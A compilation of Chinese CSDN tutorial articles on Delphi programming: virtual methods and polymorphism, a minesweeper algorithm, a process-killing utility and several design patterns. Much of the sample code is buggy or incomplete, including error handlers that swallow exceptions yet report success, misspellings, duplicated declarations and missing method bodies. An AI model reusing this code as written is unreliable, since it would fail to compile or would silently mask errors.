    多态性，是一种能给程序带来灵活性的东西。看过《设计模式》的程序员应该都知道，相当多的模式（几乎所有）都是依靠多态来实现的，以此给程序提供可扩展、可重用性。在《再谈多态——向上映射及VMT／DMT》一文中，提到了多态性是依赖于虚函数／虚方法（即动态绑定）来实现的，也介绍了虚函数／虚方法（virtual）的实现方法。那么本文就来谈一下，如何使用virtual、善用virtual来获取多态性给我们带来的灵活性。

    实例是最好的教材，因此本文还是假设一个需求，写一个实例来讲解。不过，我想没有必要给出所有源码，因此在本文中有些实现的代码会粗略带过。另外，本文所有代码均为Object Pascal语言编写，实现环境为Delphi。

    另外，由于“方法（Method）”一词已经成为Object Pascal的术语，因此，以下称成员函数都为“方法”。也许C++程序员会不太适应这样的称呼（呵呵，我自己也不太适应），见谅吧。

    假设我们要编写一个纯文本内的编辑器，也就是记事本（呵呵，别嫌例子老套，记事本程序在相当多方面都是很好的教材），编辑控件我们一般会用TMemo或TRichEdit，但是它们的功能都不甚强大，也许我们目前没有，但日后会找到一个更好的第三方文本编辑控件（比如，支持语法着色的）。因此，我们必须为未来的改进留下方便之门，否则到时候再重写全部程序真是太傻了。

    界面层（菜单响应、状态显示等）对文本编辑器控件的控制的代码对于所有编辑器来说都是类似的，应该可以被重用。那么就必须将界面层的代码与编辑器控件的控制代码隔离开来。

    如何隔离？我们可以为所有的编辑器控件指定一个公共的接口（抽象类），界面层只看得到这个接口，只使用接口提供的功能，那么，我们更换任何编辑器控件时，都不必更改界面层的代码了。

    首先，抽象出编辑器的基本操作，如：Load（打开文本）、Save（保存到文件）、Copy（复制到剪贴板）等等，将这些操作作为public方法。其次，考虑这些操作中有哪些会涉及到具体相关控件的，对于这些操作，你有两种选择：1、如果完全依赖控件本身的，可以选择将其定义为虚方法或抽象虚方法（即C++中的纯虚函数）；2、如果只是有部分代码依赖控件本身的，将这部分操作抽象到一个protected的抽象虚方法中，而将相同的部分代码写在基类中，并由基类的方法中调用protected的抽象虚方法。

    如果还没有完全明白，请看代码：

TEditor = class // 抽象基类
    private
     m_FileName : String;
    protected
     function DoLoad(FileName : String) : Boolean; virtual; abstract;
public
function Load(FileName : String) : Boolean;
function Save() : Boolean;
function SaveAs(FileName : String) : Boolean; virtual; abstract;
     // ... 其他需要的操作，由需求而定
end;

    好，我们来详细说明一下TEditor为什么是这个样子的。其有一个私有成员，保存编辑器所对应的文件名。然后看public部分，它至少提供了三个操作：Load——从某文件中读取文本到编辑器；Save——将文本保存到文件，文件名为m_FileName所保存的；SaveAs——以指定的一个文件名保存文本。

    三个操作中，SaveAs为抽象虚方法，因为它的实际动作与每个编辑控件相关，而基类本身并不知道该如何保存文件。

    Save和Load都是非虚方法，其中Save的任务很简单，就是将文本以m_FileName所保存的文件名保存，其实现可以是调用抽象的SaveAs，只需要将文件名传给SaveAs即可。基类完全可以确定如何完成Save（因为它可以保证派生类实现了SaveAs），因此其为非虚方法。

    而Load呢？Load操作的步骤是：1、将文本从文件中读取到编辑器控件中；2、将m_FileName的值设置为所读取的文件名。其中第一个步骤与具体编辑器控件相关，应该是由派生类去实现它，第二个步骤派生类无法实现，因为派生类看不到私有的m_FileName成员。但即使把m_FileName移到protected节中，以使派生类可以访问它，也并非好办法，因为这样的话，在实现每个派生类时，都要记住设置m_FileName的值，这不仅造成代码重复（每个派生类都要这样做），而且这不应该是派生类的义务。因为m_FileName应该是基类的内部实现，对外不可见。因此，第二个步骤应该由基类来完成。如何达成这个目的呢？

    我们可以注意到，protected节中有一个DoLoad方法，它就被用来完成第一个步骤——每个编辑器控件去将文本读入编辑器。然后，DoLoad由Load方法中被选择在适当的时机调用。

基类的实现如下：

function TEditor.Load(FileName : String) : Boolean;
    begin
     Result := DoLoad(FileName);
     if Result then
     m_FileName := FileName;
end;

function TEditor.Save() : Boolean;
    begin
     SaveAs(m_FileName); // 调用抽象的 SaveAs
end;

    接着，我们使用TMemo来实现一个编辑器类：

    TMemoEditor = class(TEditor)
    private
     m_Editor : TMemo;
    protected
     function DoLoad(FileName : String) : Boolean; override;
public
     constructor Create();
     destrcutor Destroy(); override;

     function SaveAs(FileName : String) : Boolean; override;
     // ...其它需要的操作
    end;

    在该派生类中，有一个私有成员，即TMemo控件的实例。然后覆盖（override）了基类的两个抽象虚方法：DoLoad和Save。

    其实现如下：
    function TMemoEditor.Create();
    begin
     // 创建TMemo实例
m_Editor := TMemo.Create(nil);

// 接着完成将TMemo实例置于界面上显示出来等操作，省略
end;

    function TMemoEditor.Destroy();
    begin
     // 其他清理工作

     m_Editor.Free();
     m_Editor := nil;
    end;

    function TMemoEditor.DoLoad(FileName : String) : Boolean;
    begin
Result := false;
try
     m_Editor.LoadFromFile(FileName);
   except end;
     Result := true;
    end;

    function TMemoEditor.SaveAs(FileName : String) : Boolean;
    begin
     Result := false;
     try
     m_Editor.SaveToFile(FileName);
     except end;
     Result := true;
end;

    很好，这样的实现已经可以使个部分运作正常了。如果，今后找到更好的编辑器控件，只需要从TEditor派生，再实现一个TXXXEditor类即可，其他部分的代码不用作任何改动。而且，具体实现的TXXXEditor类中的代码，只和具体控件本身特性相关（如：读取、保存文件的方法），而公共逻辑也已经在TEditor类中实现了。

    virtual的使用方法，基于笔者个人认识与经验：

    1、如果基类不知道如何实现某方法（只有派生类知道），而基类的其他方法又必须使用该方法，则把该方法声明为抽象虚方法—— virtual; abstract;（即C++的纯虚函数）。

    2、如果基类能够为某方法提供一种默认实现，但派生类可能完全重写这个实现，则将该方法声明为虚方法—— virtual;并实现默认算法。

    3、如果基类能够且必须提供某方法的部分的实现，而派生类必须提供另一部份的实现，则将该方法声明为非虚方法，并在基类中为其配套提供一个虚方法或抽象虚方法，以允许由基类本身调用和被派生类覆盖。犹如上例中的Load与DoLoad。

    善用virtual，善用多态，你的代码将更具灵活性！


CSDN_文档中心_扫雷程序思想讲解

扫雷程序思想讲解
在我大二的时候就编写了一个扫雷程序，现在也有很多
源程序下载，我不知道他们的算法是怎么样的，但我想我的
算法应是最清晰和简单的。下面就来讲解我的扫雷程序思想。
首先我们在雷区上随机地放上雷，没有雷的地方被点击
后就会显示一个数字表示它周围有几个雷，这是怎么实现的
呢？我们可以把整个雷区看成一个二维数组a[i,j]，如雷区：

11 12 13 14 15 16 17 18
21 22 23 24 25 26 27 28
31 32 33 34 35 36 37 38
41 42 43 44 45 46 47 48
51 52 53 54 55 56 57 58

我要知道a[34]周围有几个雷，就只有去检测
a[23]，a[24]，a[25]
a[33]， a[35]
a[43]，a[44]，a[45]
这8个雷区是否放上了雷，仔细观察它们成在数学关系。
抽象出来就是：a[i,j]的雷的个数就是由
a[i-1,j-1]，a[i-1,j]，a[i-1,j+1]
a[ i ,j-1], a[ i ,j+1]
a[i+1,j-1]，a[i+1,j]，a[i+1,j+1]
（如果超出边界再加以判断）
这样的8个雷区决定的。

扫雷程序还会自动展开已确定没有雷的雷区。如果
a[3,4]周围雷数为1，a[2,3]已被标示为地雷，那么
a[24]，a[25],a[33]，a[35],a[43]，a[44]，a[45]
将被展开，一直波及到不可确定的雷区。这也是实现的
关键。我们可以把数组的元素设定为一个类对象，它们
所属的类设定这样的一个事件：在被展开时，检查周围
的雷数是否与周围标示出来的雷数相等，如果相等则展
开周围未标示的雷区。这样新的雷区展开又触发这个事
件，就这样递归下去，一直蔓延到不可展开的雷区。
相信在了解以上两个要点后，把雷区这个类编写完全
（如添加是否有雷标记，是否展开标记，周围雷数等，双
击，左右单击的鼠标事件等），实现扫雷程序应是十分简
单的一件事。

zg
nozg@263.net


CSDN_文档中心_杀死一个正在运行的程序

procedure KillProgram(Classname : string; WindowTitle : string);
const
  PROCESS_TERMINATE = $0001;
var
  ProcessHandle : THandle;
  ProcessID: Integer;
  TheWindow : HWND;
begin
  TheWindow := FindWindow(Classname, WindowTitle);
  GetWindowThreadProcessID(TheWindow, @ProcessID);
  ProcessHandle := OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId);
  TerminateProcess(ProcessHandle,4);
end;


CSDN_文档中心_设计模式、用Delphi描述-->Abstract Factory模式

Abstract Factory模式（抽象工厂）

起源

Delphi中的Abstract Factory模式在基本Abstract Factory模式进行了扩展。更多Abstract Factory模式的资料请参阅 [Gam+]

目的

提供一个创建一系列相关或互依赖对象的接口，面无需指定它们的具体的类。

动机

这种模式是将你的应用与具体的类分类的最好办法，比如说，你要覆盖Delphi的公正的VCL

你可以创建一个抽象工厂来实现自己的要组件。

应用

下面的例子使用一个抽象类工厂和两个实际的类工厂来实现不同特色的用户界面组件。TOAbstractFactory是一个单一的组件单独的类，以每个产品系列通常只需要个工厂。

TOAbstractFactory = class(TObject)

  public

    constructor Create;

    destructor Destroy; override;

    { 抽象的构造}

    function CreateSpeedButton(AOwner: TComponent): TSpeedButton; virtual; abstract;

    function CreateEdit(AOwner: TComponent): TEdit; virtual; abstract;

    function CreateLabel(AOwner: TComponent): TLabel; virtual; abstract;

  end;

TORedFactory与TOBlueFactory重载了抽象的接口，用来支持装饰不同的特色界面。

TORedFactory = class(TOAbstractFactory)

  public

    {红色构造器 }

    function CreateSpeedButton(AOwner: TComponent): TSpeedButton; override;

    function CreateEdit(AOwner: TComponent): TEdit; override;

    function CreateLabel(AOwner: TComponent): TLabel; override;

  end;

TOBlueFactory = class(TOAbstractFactory)

  public

    {蓝色构造器}

    function CreateSpeedButton(AOwner: TComponent): TSpeedButton; override;

    function CreateEdit(AOwner: TComponent): TEdit; override;

    function CreateLabel(AOwner: TComponent): TLabel; override;

  end;

有上面的接口中:

· 声明了一个创建抽象产品对象的接口：TOAbstractFactory

¨ 类TOAbstractFactory有三个抽象的工厂方法CreateSpeedButton、CreateEdit、CreateLabel

· TORedFactory、TOBlueFactory用来实现创建具体产品对象的方法

下面是TORedFactory的实现代码：

·     unit Redfact;

·     interface

·     uses

·     Classes, SysUtils, StdCtrls, Graphics, Abstfact, Buttons;

·     type

·     TORedFactory = class(TOAbstractFactory)

·     public

·     { 实际的构造器}

·     function CreateSpeedButton(AOwner: TComponent): TSpeedButton; override;

·     function CreateEdit(AOwner: TComponent): TEdit; override;

·     function CreateLabel(AOwner: TComponent): TLabel; override;

·     end;

·

·     implementation

·     {具体的构造，被工厂方法隐藏}

·     type

·     TRedSpeedButton = class(TSpeedButton)

·     public

·     constructor Create(AOwner: TComponent); override;

·     end;

·

·     TRedEdit = class(TEdit)

·     public

·     constructor Create(AOwner: TComponent); override;

·     end;

·

·     TRedLabel = class(TLabel)

·     public

·     constructor Create(AOwner: TComponent); override;

·     end;

·

·     { widget implementation }

·

·     { TRedButton }

·

·     constructor TRedSpeedButton.Create(AOwner: TComponent);

·     begin

·     inherited Create(AOwner);

·     Font.Color := clRed;

·     end;

·

·     { TRedEdit }

·

·     constructor TRedEdit.Create(AOwner: TComponent);

·     begin

·     inherited Create(AOwner);

·     Font.Color := clRed;

·     end;

·

·     { TRedLabel }

·

·     constructor TRedLabel.Create(AOwner: TComponent);

·     begin

·     inherited Create(AOwner);

·     Font.Color := clRed;

·     end;

·

·

·     { the concrete factory }

·

·     function TORedFactory.CreateSpeedButton(AOwner: TComponent): TSpeedButton;

·     begin

·     Result := TRedSpeedButton.Create(AOwner);

·     end;

·

·     function TORedFactory.CreateEdit(AOwner: TComponent): TEdit;

·     begin

·     Result := TRedEdit.Create(AOwner);

·     end;

·

·     function TORedFactory.CreateLabel(AOwner: TComponent): TLabel;

·     begin

·     Result := TRedLabel.Create(AOwner);

·     end;

end.

运行的时候，我们的客户程序的实例由类的工厂具体类创建。并且客户程序不需知道使用工厂的具体子类。

Delphi实例

正在组织


CSDN_文档中心_设计模式、用Delphi描述-->Factory Method模式

Factory Method模式（工厂方法）

起源

Delphi中的Factory Method模式在基本Factory Method模式进行了扩展。更多Factory Method模式的资料请参阅 [Gam+]

目的

定义一个用于创建对象的接口，让子类决定实例化哪一个类。Factory Method模式使一个类的实例化延迟到其子类。

动机

与Abstract Factory不同的是：Abstract Factory用于创建类具体对象，而Factory Method用于创建类。抽象工厂（Abstact Factory）模式的看作是工厂方法（Factory Methods）的一个集合。

此模式封装了类构造并将具体类与客户程序通过抽象接口完全分离。

一个这样的例了，你有一个面向对象的商业系统，可能要处理多个目标数据库系统。些时，客户程只需知道相关的商业类，而没必要了解它们的具体应用：存储、获取。

应用

在Abstract Factory的例子中，每一个虚拟的特色构造器函数是一个Factory Method。在它们的实现中返回了一个指定的特色类。

TRedSpeedButton = class(TSpeedButton)

  public

    constructor Create(AOwner: TComponent); override;

  end;

constructor TRedSpeedButton.Create(AOwner: TComponent);

begin

  inherited Create(AOwner);

  Font.Color := clRed;

end;

function TORedFactory.CreateSpeedButton(AOwner: TComponent): TSpeedButton;

begin

  Result := TRedSpeedButton.Create(AOwner);

end;

在上面的代码：

· TORedFactory定义一个工厂方法，并返回TredSpeedButton实例

而返回对象真正的构者是TredSpeedButton。


CSDN_文档中心_设计模式、用Delphi描述-->Lock pattern

Lock pattern

起源

lock pattern是Delphi中 TStrings数据更新控制的基础。在本段后面将例举部分Tstrings、TstringList的代码

目的

为类提供一个临时的访问锁控制机制

动机

我们经常发现一个对象经常调度一个返回更改结果的通知。被调度的对象必须控制其内部状态，以同步对象数据。如果同时对一个对象进行多个更改操作，将会产生多个通知并产生一个并发的操作。此时在你的类中加入一个lock pattern的模式，从面提供一个临时锁控制机。从而避免不必要的通知。

我们通过Tbag类来学习：

类TBag 提供了collection的行为。每次更改，Tbag将调度OnChange事件。如果我们一次对Tbag加入多个对象，你将得到多个更改通知。一个图形组件可能会进行多次刷新操作。引入 lock pattern后，在加入对象前打开 Tbag的锁，操作完后关闭锁。如此，我将得到单一的更改通知。更好的办法是加入一个标志，比如：FUpdating

应用

以下是Tbag类部分代码: (仅显示部分相关代码)

type

  TBag = class (TObject)

  private

    FLockCnt: Integer;

  protected

    function Locked: Boolean;

    procedure SetLocking(Updating: Boolean);

  public

    procedure Lock;

    procedure UnLock;

  end;

implementation

procedure TBag.Lock;

begin

  Inc(FLockCnt);

  if FLockCnt = 1 then SetLocking(False);

end;

function TBag.Locked: Boolean;

begin

  Result := (FLockCnt <> 0);

end;

procedure TBag.SetLocking(Updating: Boolean);

begin

end;

procedure TBag.UnLock;

begin

  Dec(FLockCnt);

  if FLockCnt = 0 then SetLocking(True);

end;

Tbag 说明:

· FlockCnt保存锁机制的内部状态。FLockCnt = 0表示其处于非锁状态，其它值都表示其处于锁定状态。类Tbag通过Lock与Unlock来设置它的值。

· Lock与Unlock提供了锁的接口，每一次调用都将引起锁的关态变化，并调用SetLocking方法。

· SetLocking方法中有一个Updating的参数，Lock调用的参数为False，而Unlock调用的参数为True。对了，你可以在方法中插入一引起其它的代码，分配给它更多的操作表示它的锁状态的更改。.

· Locked 返回类的锁状态。

注意：Lock、 Unlock必须同时使用，从而避免类保持在锁状态。明智的方法是使用try..finally块来保持Lock、 Unlock的同时调用。

一个典型的应用例子:

procedure TBag.Add(Item: Pointer);

begin

  { Add Item to internal structure }

  Change;

end

procedure TBag.AddItems(Items: TList);

begin

  Lock;

  { Add multiple items }

  try

    for I := 0 to Items.Count - 1 do

      Add(Items[I]);

  finally

    { use try..finally to make sure Unlock is called }

    Unlock;

  end;

end;

procedure TBag.Change;

begin

  if not Locked then

    if Assigned(FOnChange) then FOnChange(Self);

end;

procedure TBag.SetLocking(Updating: Boolean);

begin

  if Updating then { Bag has become unlocked }

    Change;

end;

Delphi实例：TString、TstringList

TStrings = class(TPersistent)

private

FUpdateCount: Integer;

Protected

procedure Exchange(Index1, Index2: Integer); virtual;

procedure SetUpdateState(Updating: Boolean); virtual;

public

procedure BeginUpdate;

procedure EndUpdate;

procedure Changed; virtual;

procedure Changing; virtual;


CSDN_文档中心_设计模式、用Delphi描述-->Observer模式

Observer 模式

起源

Delphi中的Observer模式在基本Observer模式进行了扩展。更多Observer模式的资料请参 [Gam+, pages 293..303]

目的

定义一个对象间的一种一对多的依赖关系，当一个对象状态发生变化时，所有依赖于它的对象者得到通知并自动更新

动机

将一个系统分割成一系列相互协作的类有一定的副作用：必须给护相关对象间的一致性。我们不希望为了维扩一致性而使各类紧密耦合，因为这样降低了它们的重用性。[Gam+, p293].

Delphi的事件（实际的方法地址）让你有一个处理这些问题的好的结构，事件让你消除耦合并更好的耦合，比如：事件 TButton.OnClick被分派去完成相关的工作。但类并不保存对事件句柄的引用。在 observer模式中，分派事件的类称为目标对象（subject），而控制事件的类称为观察者（observer）

所在Delphi的事件更好的消除类的耦合，如果你想对多个事件进行控制，引用observer模式，你可以进立一对多的通知机制。一个目标可以有任意多个观察者。所有的观察者都会目标的状态改变时接受通知。观察者接到通知后，立即查询目标对象，以保持与目对象的同步。

这种交互也称为发布—订阅，目标是通知的发布者。它发现通知时并不需要知道谁是它的观察者。可以有任意数目观察者订阅并接收通知。

应用

这个observer模式应用会带给你Delphi事件机制在处理类耦合优势。一对多的结构通过registering和un-registering来注册观察者。一对多的机制实际应用在的迭代器的基础。

假设你有一个Tsubject类定义了有意义的行为。先看看一段 observer模式的演示代码：

type

  TSubject = class (TObject)

  private

    FObservers: TList;

  public

    procedure RegisterObserver(Observer: TSubjectObserver);

    procedure UnregisterObserver(Observer: TSubjectObserver);

  end;

  TSubjectObserver = class (TComponent)

  private

    FEnabled: Boolean;

  published

    property Enabled: Boolean read FEnabled write FEnabled; default True;

  end;

有上面的接口中:

· 一个注册机制用于为Tsubject注册观察者。

¨ FObservers: TList;存贮已注册的观察者。

¨ RegisterObserver(..)用于注册观察者，并增加到Fobservers。

¨ UnregisterObserver(..)用于注消观察者，并从Fobservers移去相关对象。

· observer模式还需创建一个新的类 TSubjectObserver

¨ 此类为Tcomponent的后代。

¨ .一个 Enabled属性设置观察的开与关。.

下面的observer模式的实际应:

procedure TSubject.RegisterObserver(Observer: TSubjectObserver);

begin

  if FObservers.IndexOf(Observer) = -1 then

    FObservers.Add(Observer);

end;

procedure TSubject.UnregisterObserver(Observer: TSubjectObserver);

begin

  FObservers.Remove(Observer);

end;

上观的实现支持了对观察者的注册部分。那一对多通知机制在哪里呢。实际的一对多通知应用，你可以为Tsubject定义一个Change方法来通知它的注册的观察者，观察者可以定义一个OnChange的事件属性来处理调度。代码如下：

type

  TSubject = class (TObject)

  private

    FObservers: TList;

  protected

»   procedure Change;     {调用此方法来分派通知}

  public

    procedure RegisterObserver(Observer: TSubjectObserver);

    procedure UnregisterObserver(Observer: TSubjectObserver);

  end;

  TSubjectObserver = class (TComponent)

  private

    FEnabled: Boolean;

»   FOnChange: TNotifyEvent;

  protected

»   procedure Change;

  published

    property Enabled: Boolean read FEnabled write FEnabled;

»   property OnChange: TNotifyEvent read FOnChange write FOnChange;

  end;

implementation

procedure TSubject.Change;

var

» Obs: TSubjectObserver;

» I: Integer;

begin

» for I := 0 to FObservers.Count - 1 do

» begin

»   Obs := FObservers[I];

»   if Obs.Enabled then Obs.Change;

» end;

end;

procedure TSubject.RegisterObserver(Observer: TSubjectObserver);

begin

  if FObservers.IndexOf(Observer) = -1 then

    FObservers.Add(Observer);

end;

procedure TSubject.UnregisterObserver(Observer: TSubjectObserver);

begin

  FObservers.Remove(Observer);

end;

procedure TSubjectObserver.Change;

begin

» if Assigned(FOnChange) then FOnChange(Self);

end;

在上面的实现代码中:

· Tsubject的Change方法迭代所有注册的观察者，并调用每个观察者的Change方法，一个对多通知的实现。

· 观察者的Enabled属性决定它是或接受通知

· TsubjectObserver的OnChange事件真正的处理同步等操作。

Delphi实例

正在组织

//很多摘自《设计模式》


CSDN_文档中心_设计模式、用Delphi描述-->Reference Count pattern

Reference Count 模式(引用记数)

起源

Reference Count模式是一种相对简单，但实用性很强，比如COM中的引用记数就是COM生命周期控制的基础，同样也是Observer模式（详细请见Observer模式）的生命周期的基础。

目的

利用Reference Count的模式来控制对象的生命周期。对于引用记数中对象将是可利用的对象，否则对象将析构自身。

动机

Reference Count模式的基础与Lock的基础很相类似。唯一不同的是Lock预先定义、固定的。它的具体的类的应用时也与Lock模式类似。Reference Count模式默认一种行为方法：SetReferenced，同样当具体使用些模式时，你可以创建自己习惯的方法。如

Reference Count模式在singleton模式中会有比较好的应用。

应用

unit ReferenceCount;

TRefCountSample = class (TObject)

private

FReferenceCnt: Integer;

protected

function Referenced: Boolean;

procedure SetReferenced(IsReferenced: Boolean);

public

procedure AddReference;

procedure RemoveReference;

end;

{

*******************************TRefCountSample*******************************

}

procedure TRefCountSample.AddReference;

begin

Inc(FReferenceCnt);

if FReferenceCnt = 1 then SetReferenced(True);

end;

function TRefCountSample.Referenced: Boolean;

begin

Result := (FReferenceCnt <> 0);

end;

procedure TRefCountSample.RemoveReference;

begin

Dec(FReferenceCnt);

if FReferenceCnt = 0 then SetReferenced(False);

end;

procedure TRefCountSample.SetReferenced(IsReferenced: Boolean);

begin

if not Referenced then Free;

end;

Delphi实例：IUnknown

IUnknown = interface

['{00000000-0000-0000-C000-000000000046}']

…

function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;

function _AddRef: Integer; stdcall;

function _Release: Integer; stdcall;

end;


CSDN_文档中心_设计模式、用Delphi描述-->Visitor模式

Visitor 模式

起源

Delphi中的Visitor模式在基本Visitor模式进行了扩展。更多Visitor模式的资料请参 [Gam+, pages 331..344].

目的

表示一个作用于某个对象结构的中和元素的操作。它使你可以在不改变各元素的类的前提下定义作用于这些元素的新操作。

[Gam+, page 331].

动机

考虑一个面向对象的建模工具，比如说‘Rational Rose、ModelMaker’,它将一个模型表示为类和类的成员。

在建模工具上提供了许多操作成员功能，比如：列表类的所有成员、生成类的代码框架、反向工程等。

这些操作大多对不同的成员进行不同的操作。它将成员分成字段（fields）、方法（methods）、

属性（properties）。因些我们必须建立专门处理字段的类，专门处理methods的类等等。成员类的集合当然依赖被编译的语言。但对于一给定语言变化不大。

如图显示了部分成员类的框架。问题产生了，如果我将所有这些操作分散到不同的成员类，

将会导致整个系统难于理解，修改，维护。将类代码生成与类成员检查放在一起，将产生混乱。些外加入新的操作时要重新编译的有的类（至少也重新编译所有的相关的系）。有个办法：你可能独立的增加一个新的操作，并这个成员类独立如作用于其上的操作。

要实现上述两个目标，我们可以将每个类中相关操作包装在一上独立的对象（称为 visitor）

并在遍历类成员列表时将此对象传递给当前成员。当一个成员‘接受’ 访问，该成员向访问者发送包含自身信息的请求。该成员请自本身作为一个参数。访问者执行这些操作。

例如：一个不使用访问者的代码生成器可能会通成员类的抽象的方法：TMember.WriteInterfaceCode(Output: TStream)生成代码。每一个成员都会调用WriteInterfaceCode生成适当的输出代码。如果通过访问者来生成代码，则会创建一个TinterfaceCodeVisitor对象,并在成员列表上调用参数为访问对象的AcceptVisitor方法。每一个在员在实现AcceptVisitor将会回调 visitor：一个字段将调用访问者的VisitField方法，而一个方法则调用VisitMethod方法。这样，以前类Tfield的WriteInterfaceCode操作现在成为TinterfaceCodeVisitor的VisitField操作。

为使访问者不仅仅只做代码生成，我们需要所有的成员列表的访问者有一个抽象的父类TmemberVisitor。TmemberVisitor必须为每一个成员定义一种方法。一个需要将成员输出为HTML格式的应用将定义TmemberVisitor新的子类，并不再需要在成员类中增加与特定应用相关的代码。Visitor模式将每个操作封装在一个相关的Visitor中

使用Visitor模式，必须定义两个层次的类：一个应于接受操作的元素（Tmember层次）另一个定义于对元素的操作（TmemberVisitor 层次）。增加一个新的操作时只需给访问者层次增加一个新的子类。我可能简单的定义新的TmemberVisitor子类以增加新的功能。

应用

下面的代码演示上面描述的类Tmember的Visitor模式的应用

type

  TMember = class (TObject)

  public

    procedure AcceptMemberVisitor(Visitor: TMemberVisitor); virtual;

  end;

  TField = class (TMember)

  public

    procedure AcceptMemberVisitor(Visitor: TMemberVisitor); override;

  end;

  TMethod = class (TMember)

  public

    procedure AcceptMemberVisitor(Visitor: TMemberVisitor); override;

  end;

  TProperty = class (TMember)

  public

    procedure AcceptMemberVisitor(Visitor: TMemberVisitor); override;

  end;

  TMemberVisitor = class (TObject)

  public

    procedure VisitField(Instance: TField); virtual;

    procedure VisitMember(Instance: TMember); virtual;

    procedure VisitMethod(Instance: TMethod); virtual;

    procedure VisitProperty(Instance: TProperty); virtual;

  end;

implementation

{ TMember }

begin

  Visitor.VisitMember(Self);

end;

{ TField }

procedure TField.AcceptMemberVisitor(Visitor: TMemberVisitor);

begin

end;

{ TMethod }

procedure TMethod.AcceptMemberVisitor(Visitor: TMemberVisitor);

begin

  Visitor.VisitMethod(Self);

end;

{ TProperty }

procedure TProperty.AcceptMemberVisitor(Visitor: TMemberVisitor);

begin

  Visitor.VisitProperty(Self);

end;

{ TMemberVisitor }

procedure TMemberVisitor.VisitField(Instance: TField);

begin

end;

procedure TMemberVisitor.VisitMember(Instance: TMember);

begin

end;

procedure TMemberVisitor.VisitMethod(Instance: TMethod);

begin

end;

procedure TMemberVisitor.VisitProperty(Instance: TProperty);

begin

end;

说明:

· TMember, TField, TMethod 和 Tproperty都实现了 AcceptMemberVisitor方法. 这些方法都嵌入模式中

· TMemberVisitor 类实现了 VisitMember, VisitField等方法。TmemberVisitor是一个抽象的类，它所有的方法由具体的子类实现。

下面是一个简单的代码生成器的实现。

代码介绍:

· TCodeGenerationVisitor 是一个用于实现成员的代码生成器的访问者。

· 访问者定义了一个上下文相关的属性：Output: TTextStream,

· 它必须在 VisitXXX调用前被定，如：DrawingVisitor典型的需要一个包括canvas的上下文，来支持画图操作。上下文在遍历整个member对列前赋予了代码生成器。

· 代码生成器将整结的生成的类的所有代码

要真正的了解Visitor模式,你可执行这个例子 ,并进一步的学习双分派机制： accept/visit.

unit CodeGenerators;

interface

uses Classes, TextStreams;

type

  TCodeGenerator = class (TObject)

  public

    procedure Generate(Members: TList; Output: TTextStream);

  end;

implementation

uses Members;

type

  TCodeGenerationVisitor = class (TMemberVisitor)

  private

    FOutput: TTextStream;

  public

    procedure VisitField(Instance: TField); override;

    procedure VisitMethod(Instance: TMethod); override;

    procedure VisitProperty(Instance: TProperty); override;

    property Output: TTextStream read FOutput write FOutput;

  end;

{ TCodeGenerationVisitor }

procedure TCodeGenerationVisitor.VisitField(Instance: TField);

begin

  Output.WriteLnFmt('  %s: %s;', [Instance.Name, Instance.DataName]);

end;

procedure TCodeGenerationVisitor.VisitMethod(Instance: TMethod);

var

  MKStr, DTStr: string;

begin

  case Instance.MethodKind of

    mkConstructor: MKStr := 'constructor';

    mkDestructor: MKStr := 'destructor';

    mkProcedure: MKStr := 'procedure';

    mkFuntion: MKStr := 'function';

  end;

  if Instance.MethodKind = mkFunction then

    DTStr := ': ' + Instance.DataName

  else

    DTStr := '';

  {代码不完整，现足以演示Tmethod代码生成 }

  Output.WriteLnFmt('  %s %s%s%s;'

                    [MKStr, Instance.Name, Instance.Parameters, DTStr]);

end;

procedure TCodeGenerationVisitor.VisitProperty(Instance: TProperty);

begin

  Output.WriteLnFmt('  property %s: %s read %s write %s;',

                    [Instance.Name, Instance.DataName,

                     Instance.ReadSpecifier, Instance.WriteSpecifier]);

end;

{ TCodeGenerator }

procedure TCodeGenerator.Generate(Members: TList; Output: TTextStream);

var

  I: Integer;

begin

  {写入类定义 }

  Output.WriteLine('TSample = class (TObject)');

  {好！ 加入代码生成器的访问者}

  Visitor := TCodeGenerationVisitor.Create;

  Try

    {记住为访问都提供上下文，以便更好的访问VisitXXX方法。}

    for I := 0 to Members.Count - 1 do

      { 代码的具体段，好事情发生了}

      TMember(Members[I]).AcceptMemberVisitor(Visitor);

  finally

    Visitor.Free;

  end;

  {类成员的代码生成完毕}

  Output.WriteLine('end;');

end;

Delphi实例

正在组织

//很多摘自《设计模式》，


CSDN_文档中心_设计模式、用Delphi实现---->Builder模式

Builder模式

起源

Delphi中的Builder模式在基本Builder模式进行了扩展。更多Builder模式的资料请参阅 [Gam+]

目的

将一个复杂的对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示

动机

一个生成器（Builder）与抽角工厂（Abstract Factory）从概念上来看有点类似。但不同的是，生成器将单一复杂的类的各个部件通过引用不同的构造器生成，然面抽象工厂则让你创建整个具体的类。比如说：一个建筑工可以构造房子、别墅、办公室。你可雇用不同的建筑工来构造砖房、木房。虽然你可指定房子的形状、大小。而其他肋手用来构造房子的部门、并非全部。比如构建窗了，门，停车场。

应用

下面的例子先引入了一个抽象类TabstractFormBuilder和它的两个具体子类TredFormBuilder、TblueFormBuilder。TabstractFormBuilder声明了一些类的构造器

type

  TAbstractFormBuilder = class

  private

    FForm: TForm;

    procedure BuilderFormClose(Sender: TObject; var Action: TCloseAction);

  protected

    function GetForm: TForm; virtual;

  public

    procedure CreateForm(AOwner: TComponent); virtual;

    procedure CreateSpeedButton; virtual; abstract;

    procedure CreateEdit; virtual; abstract;

    procedure CreateLabel; virtual; abstract;

    property Form: TForm read GetForm;

  end;

type

  TRedFormBuilder = class(TAbstractFormBuilder)

  private

    FNextLeft, FNextTop: Integer;

  public

    procedure CreateForm(AOwner: TComponent); override;

    procedure CreateSpeedButton; override;

    procedure CreateEdit; override;

    procedure CreateEdit; override;

  end;

type

  TBlueFormBuilder = class(TAbstractFormBuilder)

  private

    FNextLeft, FNextTop: Integer;

  public

    procedure CreateForm(AOwner: TComponent); override;

    procedure CreateSpeedButton; override;

    procedure CreateEdit; override;

    procedure CreateLabel; override;

  end;

有上面的接口中:

· 声明了一个创建抽象产品对象的接口：TAbstractFormBuilder

¨ 类TAbstractFormBuilder有三个抽象的工厂方法CreateForm、CreateSpeedButton、CreateEdit、CreateEdit

· TBlueFormBuilder、TRedFormBuilder用来实现创建具体产品对象的方法

运行的时候，客户程序调用一个具体类的公共构造器来创建它某一些部分，具体的构造器实例的调用方法如下：

procedure TForm1.Create3ComponentFormUsingBuilder(ABuilder: TAbstractFormBuilder);

var

  NewForm: TForm;

begin

  with ABuilder do begin

    CreateForm(Application);

    CreateEdit;

